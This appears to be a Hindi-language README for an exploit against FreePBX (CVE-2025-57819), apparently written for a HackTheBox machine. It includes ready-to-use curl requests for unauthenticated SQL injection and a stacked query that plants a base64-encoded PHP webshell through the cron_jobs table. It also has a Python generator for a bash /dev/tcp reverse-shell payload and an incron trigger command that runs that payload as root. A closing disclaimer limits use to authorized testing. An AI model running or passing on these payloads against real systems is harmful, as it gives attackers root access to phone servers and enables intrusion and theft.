
FreePBX में बिना प्रमाणीकरण के SQL Injection से Remote Code Execution — CVE-2025-57819
गंभीरता: क्रिटिकल
प्रकार: बिना प्रमाणीकरण के SQL इंजेक्शन → रिमोट कोड एक्ज़ीक्यूशन
प्रभावित सॉफ्टवेयर: FreePBX (endpoint मॉड्यूल)
परीक्षण किया गया: CentOS 7 पर FreePBX, Apache 2.4, PHP 7.4, MariaDB 5.5
FreePBX के endpoint मॉड्यूल में /admin/ajax.php के brand पैरामीटर के माध्यम से एक बिना प्रमाणीकरण वाली SQL इंजेक्शन भेद्यता मौजूद है। इस भेद्यता का शोषण करने के लिए किसी क्रेडेंशियल की आवश्यकता नहीं है।
FreePBX के आंतरिक क्रॉन जॉब तंत्र और incron/fwconsole हुक प्रणाली के साथ मिलकर, यह पूर्ण रूप से बिना प्रमाणीकरण वाला रूट शेल प्रदान करता है।
[No Auth Required]
│
▼
Unauthenticated SQL Injection
(/admin/ajax.php → brand parameter)
│
├──► Extract DB credentials, user hashes
│
├──► INSERT into cron_jobs
│ │
│ └──► PHP webshell dropped in web root
│ │
│ └──► RCE as asterisk (user flag)
│
└──► Write incron trigger file (as asterisk)
│
└──► sysadmin_manager fires as root
│
└──► fwconsole hook → Root Shell
pip install requests
python3 CVE-2025-57819.py <target> <lhost> <lport>
उदाहरण:
python3 CVE-2025-57819.py connected.htb 10.10.xx.xx 9999
आउटपुट:
[*] Verifying Unauthenticated SQLi...
[+] SQLi confirmed!
[+] Database : asterisk
[+] Version : 5.5.65-MariaDB
[+] DB User : freepbxuser@localhost
[*] Inserting Cron Job to Drop Webshell...
[+] Cron job inserted — waiting up to 90s for it to fire...
[+] Webshell active! → uid=999(asterisk) gid=1000(asterisk)
[+] User Flag → HTB{REDACTED}
[*] Triggering Root Shell → 10.10.xx.xx:9999
[+] Trigger file created — incron will fire it as root!
endpoint मॉड्यूल AJAX हैंडलर में brand पैरामीटर बिना किसी सैनिटाइज़ेशन के सीधे SQL क्वेरी में पास किया जाता है:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
&command=model&template=x&model=model
&brand=x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
यह XPATH एरर के अंदर डेटाबेस का नाम लौटाता है — यह एरर-आधारित SQLi की एक क्लासिक तकनीक है। स्टैक्ड क्वेरी भी समर्थित हैं, जो INSERT, UPDATE, और DELETE ऑपरेशन की अनुमति देती हैं।
स्टैक्ड क्वेरी का उपयोग करके, FreePBX की cron_jobs टेबल में एक क्रॉन जॉब डाली जाती है:
INSERT INTO cron_jobs
(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES
('sysadmin', 'poc', 'echo PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+|base64 -d >/var/www/html/shell.php',
NULL, '* * * * *', 30, 1, 1)
FreePBX का क्रॉन रनर इसे हर मिनट निष्पादित करता है, जिससे वेब रूट में एक PHP वेबशेल डाल दी जाती है।
incrond /var/spool/asterisk/incron/ पर नज़र रखता है (जो asterisk उपयोगकर्ता द्वारा लिखने योग्य है)। जब वहाँ कोई फ़ाइल बनाई जाती है, तो यह /usr/bin/sysadmin_manager को रूट के रूप में ट्रिगर करता है।
फ़ाइलनाम प्रारूप api.fwconsole-commands.<payload> निम्न स्थान पर पहले से मौजूद GPG-हस्ताक्षरित हुक से मैप होता है:
/var/www/html/admin/modules/api/hooks/fwconsole-commands
हुक फ़ाइलनाम को base64(zlib(json([cmd, txn_id]))) पेलोड के रूप में डिकोड करता है और निष्पादित करता है:
$cmd = "/usr/sbin/fwconsole $command 2>&1";
help; को प्रीफिक्स के रूप में उपयोग करने से fwconsole इसे एक वैध कमांड के रूप में स्वीकार कर लेता है, और ; मनमाने शेल कमांड को जोड़ता है:
help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1
यह रूट के रूप में निष्पादित होता है, जिससे पूर्ण रूट शेल प्राप्त होता है।
curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+DATABASE()),0x7e))--+-"
curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x';INSERT+INTO+cron_jobs(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)\
+VALUES('sysadmin','poc','echo+PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==|base64+-d\
+>/var/www/html/shell.php',NULL,'*+*+*+*+*',30,1,1)--+-"
# Save to file to avoid shell quoting issues
cat > gen.py << 'EOF'
import base64, json, zlib
cmd = "help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1"
payload = base64.b64encode(
zlib.compress(json.dumps([cmd, "txn"]).encode())
).decode().replace("/", "_")
print(payload)
EOF
python3 gen.py
# On the target (as asterisk via webshell)
touch "/var/spool/asterisk/incron/api.fwconsole-commands.<PAYLOAD>"
| दिनांक | घटना |
|---|---|
| 2025 | भेद्यता खोजी गई और रिपोर्ट की गई |
| 2025-11-30 | HackTheBox पर बॉक्स तैनात किया गया |
| 2025 | CVE-2025-57819 निर्धारित किया गया |
यह टूल केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए है। उन प्रणालियों के विरुद्ध उपयोग न करें जिनके परीक्षण की आपके पास स्पष्ट अनुमति नहीं है। लेखक किसी भी दुरुपयोग के लिए ज़िम्मेदार नहीं है।
| निष्कर्ष | विवरण |
|---|
| डेटाबेस | asterisk (MariaDB 5.5.65) |
| DB उपयोगकर्ता | freepbxuser@localhost |
| वेब उपयोगकर्ता | asterisk (uid=999) |
| क्रॉन टेबल | SQLi के माध्यम से लिखने योग्य |
| Incron निर्देशिका | /var/spool/asterisk/incron/ (asterisk द्वारा लिखने योग्य) |
| विशेषाधिकार वृद्धि | fwconsole हुक incrond के माध्यम से रूट के रूप में चलता है |
| रूट विधि | Incron ट्रिगर → हस्ताक्षरित fwconsole हुक → कमांड इंजेक्शन |